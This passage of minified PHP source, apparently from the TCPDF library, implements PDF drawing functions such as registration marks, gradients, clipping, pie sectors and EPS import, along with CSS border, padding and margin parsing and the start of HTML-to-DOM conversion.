'BOTTOM':{$x1=$x;$y1=($y+$dh);$x2=$x;$y2=($y+$h);break;}case 'L':case 'LEFT':{$x1=($x-$w);$y1=$y;$x2=($x-$dw);$y2=$y;break;}case 'R':case 'RIGHT':{$x1=($x+$dw);$y1=$y;$x2=($x+$w);$y2=$y;break;}}$this->Line($x1,$y1,$x2,$y2);}} function registrationMark($x,$y,$r,$double=false,$cola=array(100,100,100,100,'All'),$colb=array(0,0,0,0,'None')){$line_style=array('width'=>max((0.5/$this->k),($r/30)),'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$cola);$this->SetFillColorArray($cola);$this->PieSector($x,$y,$r,90,180,'F');$this->PieSector($x,$y,$r,270,360,'F');$this->Circle($x,$y,$r,0,360,'C',$line_style,array(),8);if($double){$ri=$r*0.5;$this->SetFillColorArray($colb);$this->PieSector($x,$y,$ri,90,180,'F');$this->PieSector($x,$y,$ri,270,360,'F');$this->SetFillColorArray($cola);$this->PieSector($x,$y,$ri,0,90,'F');$this->PieSector($x,$y,$ri,180,270,'F');$this->Circle($x,$y,$ri,0,360,'C',$line_style,array(),8);}} function registrationMarkCMYK($x,$y,$r){$lw=max((0.5/$this->k),($r/8));$ri=($r*0.6);$re=($r*1.3);$this->SetFillColorArray(array(100,0,0,0));$this->PieSector($x,$y,$ri,270,360,'F');$this->SetFillColorArray(array(0,100,0,0));$this->PieSector($x,$y,$ri,0,90,'F');$this->SetFillColorArray(array(0,0,100,0));$this->PieSector($x,$y,$ri,90,180,'F');$this->SetFillColorArray(array(0,0,0,100));$this->PieSector($x,$y,$ri,180,270,'F');$line_style=array('width'=>$lw,'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>array(100,100,100,100,'All'));$this->SetFillColorArray(array(100,100,100,100,'All'));$this->Circle($x,$y,$r,0,360,'C',$line_style,array(),8);$this->Line($x,($y-$re),$x,($y-$ri));$this->Line($x,($y+$ri),$x,($y+$re));$this->Line(($x-$re),$y,($x-$ri),$y);$this->Line(($x+$ri),$y,($x+$re),$y);} function LinearGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0,0,1,0)){$this->Clip($x,$y,$w,$h);$this->Gradient(2,$coords,array(array('color'=>$col1,'offset'=>0,'exponent'=>1),array('color'=>$col2,'offset'=>1,'exponent'=>1)),array(),false);} function RadialGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0.5,0.5,0.5,0.5,1)){$this->Clip($x,$y,$w,$h);$this->Gradient(3,$coords,array(array('color'=>$col1,'offset'=>0,'exponent'=>1),array('color'=>$col2,'offset'=>1,'exponent'=>1)),array(),false);} function CoonsPatchMesh($x,$y,$w,$h,$col1=array(),$col2=array(),$col3=array(),$col4=array(),$coords=array(0.00,0.0,0.33,0.00,0.67,0.00,1.00,0.00,1.00,0.33,1.00,0.67,1.00,1.00,0.67,1.00,0.33,1.00,0.00,1.00,0.00,0.67,0.00,0.33),$coords_min=0,$coords_max=1,$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->Clip($x,$y,$w,$h);$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n]['type']=6;$this->gradients[$n]['coords']=array();$this->gradients[$n]['antialias']=$antialias;$this->gradients[$n]['colors']=array();$this->gradients[$n]['transparency']=false;if(!isset($coords[0]['f'])){if(!isset($col1[1])){$col1[1]=$col1[2]=$col1[0];}if(!isset($col2[1])){$col2[1]=$col2[2]=$col2[0];}if(!isset($col3[1])){$col3[1]=$col3[2]=$col3[0];}if(!isset($col4[1])){$col4[1]=$col4[2]=$col4[0];}$patch_array[0]['f']=0;$patch_array[0]['points']=$coords;$patch_array[0]['colors'][0]['r']=$col1[0];$patch_array[0]['colors'][0]['g']=$col1[1];$patch_array[0]['colors'][0]['b']=$col1[2];$patch_array[0]['colors'][1]['r']=$col2[0];$patch_array[0]['colors'][1]['g']=$col2[1];$patch_array[0]['colors'][1]['b']=$col2[2];$patch_array[0]['colors'][2]['r']=$col3[0];$patch_array[0]['colors'][2]['g']=$col3[1];$patch_array[0]['colors'][2]['b']=$col3[2];$patch_array[0]['colors'][3]['r']=$col4[0];$patch_array[0]['colors'][3]['g']=$col4[1];$patch_array[0]['colors'][3]['b']=$col4[2];}else {$patch_array=$coords;}$bpcd=65535;$this->gradients[$n]['stream']='';$count_patch=count($patch_array);for($i=0;$i<$count_patch;++$i){$this->gradients[$n]['stream'].=chr($patch_array[$i]['f']);$count_points=count($patch_array[$i]['points']);for($j=0;$j<$count_points;++$j){$patch_array[$i]['points'][$j]=(($patch_array[$i]['points'][$j]-$coords_min)/($coords_max-$coords_min))*$bpcd;if($patch_array[$i]['points'][$j]<0){$patch_array[$i]['points'][$j]=0;}if($patch_array[$i]['points'][$j]>$bpcd){$patch_array[$i]['points'][$j]=$bpcd;}$this->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j]/256));$this->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j]%256));}$count_cols=count($patch_array[$i]['colors']);for($j=0;$j<$count_cols;++$j){$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['r']);$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['g']);$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['b']);}}$this->_out('/Sh'.$n.' sh');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['gradients'][$n]=$this->gradients[$n];}} function Clip($x,$y,$w,$h){if($this->state!=2){return;}if($this->rtl){$x=$this->w-$x-$w;}$s='q';$s.=sprintf(' %F %F %F %F re W n',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k);$s.=sprintf(' %F 0 0 %F %F %F cm',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k);$this->_out($s);} function Gradient($type,$coords,$stops,$background=array(),$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n]['type']=$type;$this->gradients[$n]['coords']=$coords;$this->gradients[$n]['antialias']=$antialias;$this->gradients[$n]['colors']=array();$this->gradients[$n]['transparency']=false;$numcolspace=count($stops[0]['color']);$bcolor=array_values($background);switch($numcolspace){case 5:case 4:{$this->gradients[$n]['colspace']='DeviceCMYK';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F %F %F %F',$bcolor[0]/100,$bcolor[1]/100,$bcolor[2]/100,$bcolor[3]/100);}break;}case 3:{$this->gradients[$n]['colspace']='DeviceRGB';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F %F %F',$bcolor[0]/255,$bcolor[1]/255,$bcolor[2]/255);}break;}case 1:{$this->gradients[$n]['colspace']='DeviceGray';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F',$bcolor[0]/255);}break;}}$num_stops=count($stops);$last_stop_id=$num_stops-1;foreach($stops as $key=>$stop){$this->gradients[$n]['colors'][$key]=array();if(isset($stop['offset'])){$this->gradients[$n]['colors'][$key]['offset']=$stop['offset'];}else {if($key==0){$this->gradients[$n]['colors'][$key]['offset']=0;}elseif($key==$last_stop_id){$this->gradients[$n]['colors'][$key]['offset']=1;}else {$offsetstep=(1-$this->gradients[$n]['colors'][($key-1)]['offset'])/($num_stops-$key);$this->gradients[$n]['colors'][$key]['offset']=$this->gradients[$n]['colors'][($key-1)]['offset']+$offsetstep;}}if(isset($stop['opacity'])){$this->gradients[$n]['colors'][$key]['opacity']=$stop['opacity'];if((!$this->pdfa_mode) AND ($stop['opacity']<1)){$this->gradients[$n]['transparency']=true;}}else {$this->gradients[$n]['colors'][$key]['opacity']=1;}if(isset($stop['exponent'])){$this->gradients[$n]['colors'][$key]['exponent']=$stop['exponent'];}else {$this->gradients[$n]['colors'][$key]['exponent']=1;}$color=array_values($stop['color']);switch($numcolspace){case 5:case 4:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F %F %F %F',$color[0]/100,$color[1]/100,$color[2]/100,$color[3]/100);break;}case 3:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F %F %F',$color[0]/255,$color[1]/255,$color[2]/255);break;}case 1:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F',$color[0]/255);break;}}}if($this->gradients[$n]['transparency']){$this->_out('/TGS'.$n.' gs');}$this->_out('/Sh'.$n.' sh');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['gradients'][$n]=$this->gradients[$n];}}function _putshaders(){if($this->pdfa_mode){return;}$idt=count($this->gradients);foreach($this->gradients as $id=>$grad){if(($grad['type']==2) OR ($grad['type']==3)){$fc=$this->_newobj();$out='<<';$out.=' /FunctionType 3';$out.=' /Domain [0 1]';$functions='';$bounds='';$encode='';$i=1;$num_cols=count($grad['colors']);$lastcols=$num_cols-1;for($i=1;$i<$num_cols;++$i){$functions.=($fc+$i).' 0 R ';if($i<$lastcols){$bounds.=sprintf('%F ',$grad['colors'][$i]['offset']);}$encode.='0 1 ';}$out.=' /Functions ['.trim($functions).']';$out.=' /Bounds ['.trim($bounds).']';$out.=' /Encode ['.trim($encode).']';$out.=' >>';$out.="
".'endobj';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out='<<';$out.=' /FunctionType 2';$out.=' /Domain [0 1]';$out.=' /C0 ['.$grad['colors'][($i-1)]['color'].']';$out.=' /C1 ['.$grad['colors'][$i]['color'].']';$out.=' /N '.$grad['colors'][$i]['exponent'];$out.=' >>';$out.="
".'endobj';$this->_out($out);}if($grad['transparency']){$ft=$this->_newobj();$out='<<';$out.=' /FunctionType 3';$out.=' /Domain [0 1]';$functions='';$i=1;$num_cols=count($grad['colors']);for($i=1;$i<$num_cols;++$i){$functions.=($ft+$i).' 0 R ';}$out.=' /Functions ['.trim($functions).']';$out.=' /Bounds ['.trim($bounds).']';$out.=' /Encode ['.trim($encode).']';$out.=' >>';$out.="
".'endobj';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out='<<';$out.=' /FunctionType 2';$out.=' /Domain [0 1]';$out.=' /C0 ['.$grad['colors'][($i-1)]['opacity'].']';$out.=' /C1 ['.$grad['colors'][$i]['opacity'].']';$out.=' /N '.$grad['colors'][$i]['exponent'];$out.=' >>';$out.="
".'endobj';$this->_out($out);}}}$this->_newobj();$out='<< /ShadingType '.$grad['type'];if(isset($grad['colspace'])){$out.=' /ColorSpace /'.$grad['colspace'];}else {$out.=' /ColorSpace /DeviceRGB';}if(isset($grad['background']) AND !empty($grad['background'])){$out.=' /Background ['.$grad['background'].']';}if(isset($grad['antialias']) AND ($grad['antialias']===true)){$out.=' /AntiAlias true';}if($grad['type']==2){$out.=' '.sprintf('/Coords [%F %F %F %F]',$grad['coords'][0],$grad['coords'][1],$grad['coords'][2],$grad['coords'][3]);$out.=' /Domain [0 1]';$out.=' /Function '.$fc.' 0 R';$out.=' /Extend [true true]';$out.=' >>';}elseif($grad['type']==3){$out.=' '.sprintf('/Coords [%F %F 0 %F %F %F]',$grad['coords'][0],$grad['coords'][1],$grad['coords'][2],$grad['coords'][3],$grad['coords'][4]);$out.=' /Domain [0 1]';$out.=' /Function '.$fc.' 0 R';$out.=' /Extend [true true]';$out.=' >>';}elseif($grad['type']==6){$out.=' /BitsPerCoordinate 16';$out.=' /BitsPerComponent 8';$out.=' /Decode[0 1 0 1 0 1 0 1 0 1]';$out.=' /BitsPerFlag 8';$stream=$this->_getrawstream($grad['stream']);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';}$out.="
".'endobj';$this->_out($out);if($grad['transparency']){$shading_transparency=preg_replace('/\/ColorSpace \/[^\s]+/si','/ColorSpace /DeviceGray',$out);$shading_transparency=preg_replace('/\/Function [0-9]+ /si','/Function '.$ft.' ',$shading_transparency);}$this->gradients[$id]['id']=$this->n;$this->_newobj();$out='<< /Type /Pattern /PatternType 2';$out.=' /Shading '.$this->gradients[$id]['id'].' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->gradients[$id]['pattern']=$this->n;if($grad['transparency']){$idgs=$id+$idt;$this->_newobj();$this->_out($shading_transparency);$this->gradients[$idgs]['id']=$this->n;$this->_newobj();$out='<< /Type /Pattern /PatternType 2';$out.=' /Shading '.$this->gradients[$idgs]['id'].' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->gradients[$idgs]['pattern']=$this->n;$oid=$this->_newobj();$this->xobjects['LX'.$oid]=array('n'=>$oid);$filter='';$stream='q /a0 gs /Pattern cs /p'.$idgs.' scn 0 0 '.$this->wPt.' '.$this->hPt.' re f Q';if($this->compress){$filter=' /Filter /FlateDecode';$stream=gzcompress($stream);}$stream=$this->_getrawstream($stream);$out='<< /Type /XObject /Subtype /Form /FormType 1'.$filter;$out.=' /Length '.strlen($stream);$rect=sprintf('%F %F',$this->wPt,$this->hPt);$out.=' /BBox [0 0 '.$rect.']';$out.=' /Group << /Type /Group /S /Transparency /CS /DeviceGray >>';$out.=' /Resources <<';$out.=' /ExtGState << /a0 << /ca 1 /CA 1 >> >>';$out.=' /Pattern << /p'.$idgs.' '.$this->gradients[$idgs]['pattern'].' 0 R >>';$out.=' >>';$out.=' >> ';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /Mask /S /Luminosity /G '.($this->n-1).' 0 R >>'."
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /ExtGState /SMask '.($this->n-1).' 0 R /AIS false >>'."
".'endobj';$this->_out($out);$this->extgstates[]=array('n'=>$this->n,'name'=>'TGS'.$id);}}} function PieSector($xc,$yc,$r,$a,$b,$style='FD',$cw=true,$o=90){$this->PieSectorXY($xc,$yc,$r,$r,$a,$b,$style,$cw,$o);} function PieSectorXY($xc,$yc,$rx,$ry,$a,$b,$style='FD',$cw=false,$o=0,$nc=2){if($this->state!=2){return;}if($this->rtl){$xc=($this->w-$xc);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($cw){$d=$b;$b=(360-$a+$o);$a=(360-$d+$o);}else {$b+=$o;$a+=$o;}$this->_outellipticalarc($xc,$yc,$rx,$ry,0,$a,$b,true,$nc);$this->_out($op);} function ImageEps($file,$x='',$y='',$w=0,$h=0,$link='',$useBoundingBox=true,$align='',$palign='',$border=0,$fitonpage=false,$fixoutvals=false){if($this->state!=2){return;}if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,'EPS',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;if($file[0]==='@'){$data=substr($file,1);}else {$data=TCPDF_STATIC::fileGetContents($file);}if($data===FALSE){$this->Error('EPS file not found: '.$file);}$regs=array();preg_match("/%%Creator:([^
]+)/",$data,$regs);if(count($regs)>1){$version_str=trim($regs[1]);if(strpos($version_str,'Adobe Illustrator')!==false){$versexp=explode(' ',$version_str);$version=(float)array_pop($versexp);if($version>=9){$this->Error('This version of Adobe Illustrator file is not supported: '.$file);}}}$start=strpos($data,'%!PS-Adobe');if($start>0){$data=substr($data,$start);}preg_match("/%%BoundingBox:([^
]+)/",$data,$regs);if(count($regs)>1){list($x1,$y1,$x2,$y2)=explode(' ',trim($regs[1]));}else {$this->Error('No BoundingBox found in EPS/AI file: '.$file);}$start=strpos($data,'%%EndSetup');if($start===false){$start=strpos($data,'%%EndProlog');}if($start===false){$start=strpos($data,'%%BoundingBox');}$data=substr($data,$start);$end=strpos($data,'%%PageTrailer');if($end===false){$end=strpos($data,'showpage');}if($end){$data=substr($data,0,$end);}if(($w<=0) AND ($h<=0)){$w=($x2-$x1)/$k;$h=($y2-$y1)/$k;}elseif($w<=0){$w=($x2-$x1)/$k*($h/(($y2-$y1)/$k));}elseif($h<=0){$h=($y2-$y1)/$k*($w/(($x2-$x1)/$k));}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,'EPS',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}$scale_x=$w/(($x2-$x1)/$k);$scale_y=$h/(($y2-$y1)/$k);$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($useBoundingBox){$dx=$ximg*$k-$x1;$dy=$y*$k-$y1;}else {$dx=$ximg*$k;$dy=$y*$k;}$this->_out('q'.$this->epsmarker);$this->_out(sprintf('%F %F %F %F %F %F cm',1,0,0,1,$dx,$dy+($this->hPt-(2*$y*$k)-($y2-$y1))));if(isset($scale_x)){$this->_out(sprintf('%F %F %F %F %F %F cm',$scale_x,0,0,$scale_y,$x1*(1-$scale_x),$y2*(1-$scale_y)));}$lines=preg_split('/[
]+/si',$data,-1,PREG_SPLIT_NO_EMPTY);$u=0;$cnt=count($lines);for($i=0;$i<$cnt;++$i){$line=$lines[$i];if(($line=='') OR ($line[0]=='%')){continue;}$len=strlen($line);$color_name='';if(strcasecmp('x',substr(trim($line),-1))==0){if(preg_match('/\([^\)]*\)/',$line,$matches)>0){$color_name=$matches[0];$line=str_replace(' '.$color_name,'',$line);$color_name=substr($color_name,1,-1);}}$chunks=explode(' ',$line);$cmd=trim(array_pop($chunks));if(($cmd=='Xa') OR ($cmd=='XA')){$b=array_pop($chunks);$g=array_pop($chunks);$r=array_pop($chunks);$this->_out(''.$r.' '.$g.' '.$b.' '.($cmd=='Xa'?'rg':'RG'));continue;}$skip=false;if($fixoutvals){switch($cmd){case 'm':case 'l':case 'L':{foreach($chunks as $key=>$val){if((($key%2)==0) AND (($val<$x1) OR ($val>$x2))){$skip=true;}elseif((($key%2)!=0) AND (($val<$y1) OR ($val>$y2))){$skip=true;}}}}}switch($cmd){case 'm':case 'l':case 'v':case 'y':case 'c':case 'k':case 'K':case 'g':case 'G':case 's':case 'S':case 'J':case 'j':case 'w':case 'M':case 'd':case 'n':{if($skip){break;}$this->_out($line);break;}case 'x':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' k');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf('/CS%d cs %F scn',$this->spot_colors[$color_name]['i'],(1-$col_t));$this->_out($color_cmd);}break;}case 'X':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' K');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf('/CS%d CS %F SCN',$this->spot_colors[$color_name]['i'],(1-$col_t));$this->_out($color_cmd);}break;}case 'Y':case 'N':case 'V':case 'L':case 'C':{if($skip){break;}$line[($len-1)]=strtolower($cmd);$this->_out($line);break;}case 'b':case 'B':{$this->_out($cmd.'*');break;}case 'f':case 'F':{if($u>0){$isU=false;$max=min(($i+5),$cnt);for($j=($i+1);$j<$max;++$j){$isU=($isU OR (($lines[$j]=='U') OR ($lines[$j]=='*U')));}if($isU){$this->_out('f*');}}else {$this->_out('f*');}break;}case '*u':{++$u;break;}case '*U':{--$u;break;}}}$this->_out($this->epsmarker.'Q');if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;} function getMargins(){$ret=array('left'=>$this->lMargin,'right'=>$this->rMargin,'top'=>$this->tMargin,'bottom'=>$this->bMargin,'header'=>$this->header_margin,'footer'=>$this->footer_margin,'cell'=>$this->cell_padding,'padding_left'=>$this->cell_padding['L'],'padding_top'=>$this->cell_padding['T'],'padding_right'=>$this->cell_padding['R'],'padding_bottom'=>$this->cell_padding['B']);return $ret;} function getOriginalMargins(){$ret=array('left'=>$this->original_lMargin,'right'=>$this->original_rMargin);return $ret;} function getFontSize(){return $this->FontSize;} function getFontSizePt(){return $this->FontSizePt;} function getFontFamily(){return $this->FontFamily;} function getFontStyle(){return $this->FontStyle;} function fixHTMLCode($html,$default_css='',$tagvs='',$tidy_options=''){return TCPDF_STATIC::fixHTMLCode($html,$default_css,$tagvs,$tidy_options,$this->tagvspaces);} function getCSSBorderWidth($width){if($width=='thin'){$width=(2/$this->k);}elseif($width=='medium'){$width=(4/$this->k);}elseif($width=='thick'){$width=(6/$this->k);}else {$width=$this->getHTMLUnitToUnits($width,1,'px',false);}return $width;} function getCSSBorderDashStyle($style){switch(strtolower($style)){case 'none':case 'hidden':{$dash=-1;break;}case 'dotted':{$dash=1;break;}case 'dashed':{$dash=3;break;}case 'double':case 'groove':case 'ridge':case 'inset':case 'outset':case 'solid':default:{$dash=0;break;}}return $dash;} function getCSSBorderStyle($cssborder){$bprop=preg_split('/[\s]+/',trim($cssborder));$border=array();switch(count($bprop)){case 3:{$width=$bprop[0];$style=$bprop[1];$color=$bprop[2];break;}case 2:{$width='medium';$style=$bprop[0];$color=$bprop[1];break;}case 1:{$width='medium';$style=$bprop[0];$color='black';break;}default:{$width='medium';$style='solid';$color='black';break;}}if($style=='none'){return array();}$border['cap']='square';$border['join']='miter';$border['dash']=$this->getCSSBorderDashStyle($style);if($border['dash']<0){return array();}$border['width']=$this->getCSSBorderWidth($width);$border['color']=TCPDF_COLORS::convertHTMLColorToDec($color,$this->spot_colors);return $border;} function getCSSPadding($csspadding,$width=0){$padding=preg_split('/[\s]+/',trim($csspadding));$cell_padding=array();switch(count($padding)){case 4:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[2];$cell_padding['L']=$padding[3];break;}case 3:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[2];$cell_padding['L']=$padding[1];break;}case 2:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[0];$cell_padding['L']=$padding[1];break;}case 1:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[0];$cell_padding['B']=$padding[0];$cell_padding['L']=$padding[0];break;}default:{return $this->cell_padding;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_padding['T']=$this->getHTMLUnitToUnits($cell_padding['T'],$width,'px',false);$cell_padding['R']=$this->getHTMLUnitToUnits($cell_padding['R'],$width,'px',false);$cell_padding['B']=$this->getHTMLUnitToUnits($cell_padding['B'],$width,'px',false);$cell_padding['L']=$this->getHTMLUnitToUnits($cell_padding['L'],$width,'px',false);return $cell_padding;} function getCSSMargin($cssmargin,$width=0){$margin=preg_split('/[\s]+/',trim($cssmargin));$cell_margin=array();switch(count($margin)){case 4:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[2];$cell_margin['L']=$margin[3];break;}case 3:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[2];$cell_margin['L']=$margin[1];break;}case 2:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[0];$cell_margin['L']=$margin[1];break;}case 1:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[0];$cell_margin['B']=$margin[0];$cell_margin['L']=$margin[0];break;}default:{return $this->cell_margin;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_margin['T']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['T']),$width,'px',false);$cell_margin['R']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['R']),$width,'px',false);$cell_margin['B']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['B']),$width,'px',false);$cell_margin['L']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['L']),$width,'px',false);return $cell_margin;} function getCSSBorderMargin($cssbspace,$width=0){$space=preg_split('/[\s]+/',trim($cssbspace));$border_spacing=array();switch(count($space)){case 2:{$border_spacing['H']=$space[0];$border_spacing['V']=$space[1];break;}case 1:{$border_spacing['H']=$space[0];$border_spacing['V']=$space[0];break;}default:{return array('H'=>0,'V'=>0);}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$border_spacing['H']=$this->getHTMLUnitToUnits($border_spacing['H'],$width,'px',false);$border_spacing['V']=$this->getHTMLUnitToUnits($border_spacing['V'],$width,'px',false);return $border_spacing;} function getCSSFontSpacing($spacing,$parent=0){$val=0;$spacing=trim($spacing);switch($spacing){case 'normal':{$val=0;break;}case 'inherit':{if($parent=='normal'){$val=0;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($spacing,0,'px',false);}}return $val;} function getCSSFontStretching($stretch,$parent=100){$val=100;$stretch=trim($stretch);switch($stretch){case 'ultra-condensed':{$val=40;break;}case 'extra-condensed':{$val=55;break;}case 'condensed':{$val=70;break;}case 'semi-condensed':{$val=85;break;}case 'normal':{$val=100;break;}case 'semi-expanded':{$val=115;break;}case 'expanded':{$val=130;break;}case 'extra-expanded':{$val=145;break;}case 'ultra-expanded':{$val=160;break;}case 'wider':{$val=($parent+10);break;}case 'narrower':{$val=($parent-10);break;}case 'inherit':{if($parent=='normal'){$val=100;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($stretch,100,'%',false);}}return $val;} function getHTMLFontUnits($val,$refsize=12,$parent_size=12,$defaultunit='pt'){$refsize=TCPDF_FONTS::getFontRefSize($refsize);$parent_size=TCPDF_FONTS::getFontRefSize($parent_size,$refsize);switch($val){case 'xx-small':{$size=($refsize-4);break;}case 'x-small':{$size=($refsize-3);break;}case 'small':{$size=($refsize-2);break;}case 'medium':{$size=$refsize;break;}case 'large':{$size=($refsize+2);break;}case 'x-large':{$size=($refsize+4);break;}case 'xx-large':{$size=($refsize+6);break;}case 'smaller':{$size=($parent_size-3);break;}case 'larger':{$size=($parent_size+3);break;}default:{$size=$this->getHTMLUnitToUnits($val,$parent_size,$defaultunit,true);}}return $size;} function getHtmlDomArray($html){$css=array();$matches=array();if(preg_match_all('/<cssarray>([^\<]*)<\/cssarray>/isU',$html,$matches)>0){if(isset($matches[1][0])){$css=array_merge($css,json_decode($this->unhtmlentities($matches[1][0]),true));}$html=preg_replace('/<cssarray>(.*?)<\/cssarray>/isU','',$html);}$matches=array();if(preg_match_all('/<link([^\>]*)>/isU',$html,$matches)>0){foreach($matches[1] as $key=>$link){$type=array();if(preg_match('/type[\s]*=[\s]*"text\/css"/',$link,$type)){$type=array();preg_match('/media[\s]*=[\s]*"([^"]*)"/',$link,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]=='all') OR ($type[1]=='print')))){$type=array();if(preg_match('/href[\s]*=[\s]*"([^"]*)"/',$link,$type)>0){$cssdata=TCPDF_STATIC::fileGetContents(trim($type[1]));if(($cssdata!==FALSE) AND (strlen($cssdata)>0)){$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}}}}$matches=array();if(preg_match_all('/<style([^\>]*)>([^\<]*)<\/style>/isU',$html,$matches)>0){foreach($matches[1] as $key=>$media){$type=array();preg_match('/media[\s]*=[\s]*"([^"]*)"/',$media,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]=='all') OR ($type[1]=='print')))){$cssdata=$matches[2][$key];$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}$csstagarray='<cssarray>'.htmlentities(json_encode($css)).'</cssarray>';$html=preg_replace('/<head([^\>]*)>(.*?)<\/head>/siU','',$html);$html=preg_replace('/<style([^\>]*)>([^\<]*)<\/style>/isU','',$html);$blocktags=array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table','tr','td');$selfclosingtags=array('area','base','basefont','br','hr','input','img','link','meta');$html=strip_tags($html,'<marker/><a><b><blockquote><body><br><br/><dd><del><div><dl><dt><em><font><form><h1><h2><h3><h4><h5><h6><hr><hr/><i><img><input><label><li><ol><option><p><pre><s><select><small><span><strike><strong><sub><sup><table><tablehead><tcpdf><td><textarea><th><thead><tr><tt><u><ul>');$html=preg_replace('/<pre/','<xre',$html);$html=preg_replace('/<(table|tr|td|th|tcpdf|blockquote|dd|div|dl|dt|form|h1|h2|h3|h4|h5|h6|br|hr|li|ol|ul|p)([^\>]*)>[
]+/','<>',$html);$html=preg_replace('@(
|
)@',"
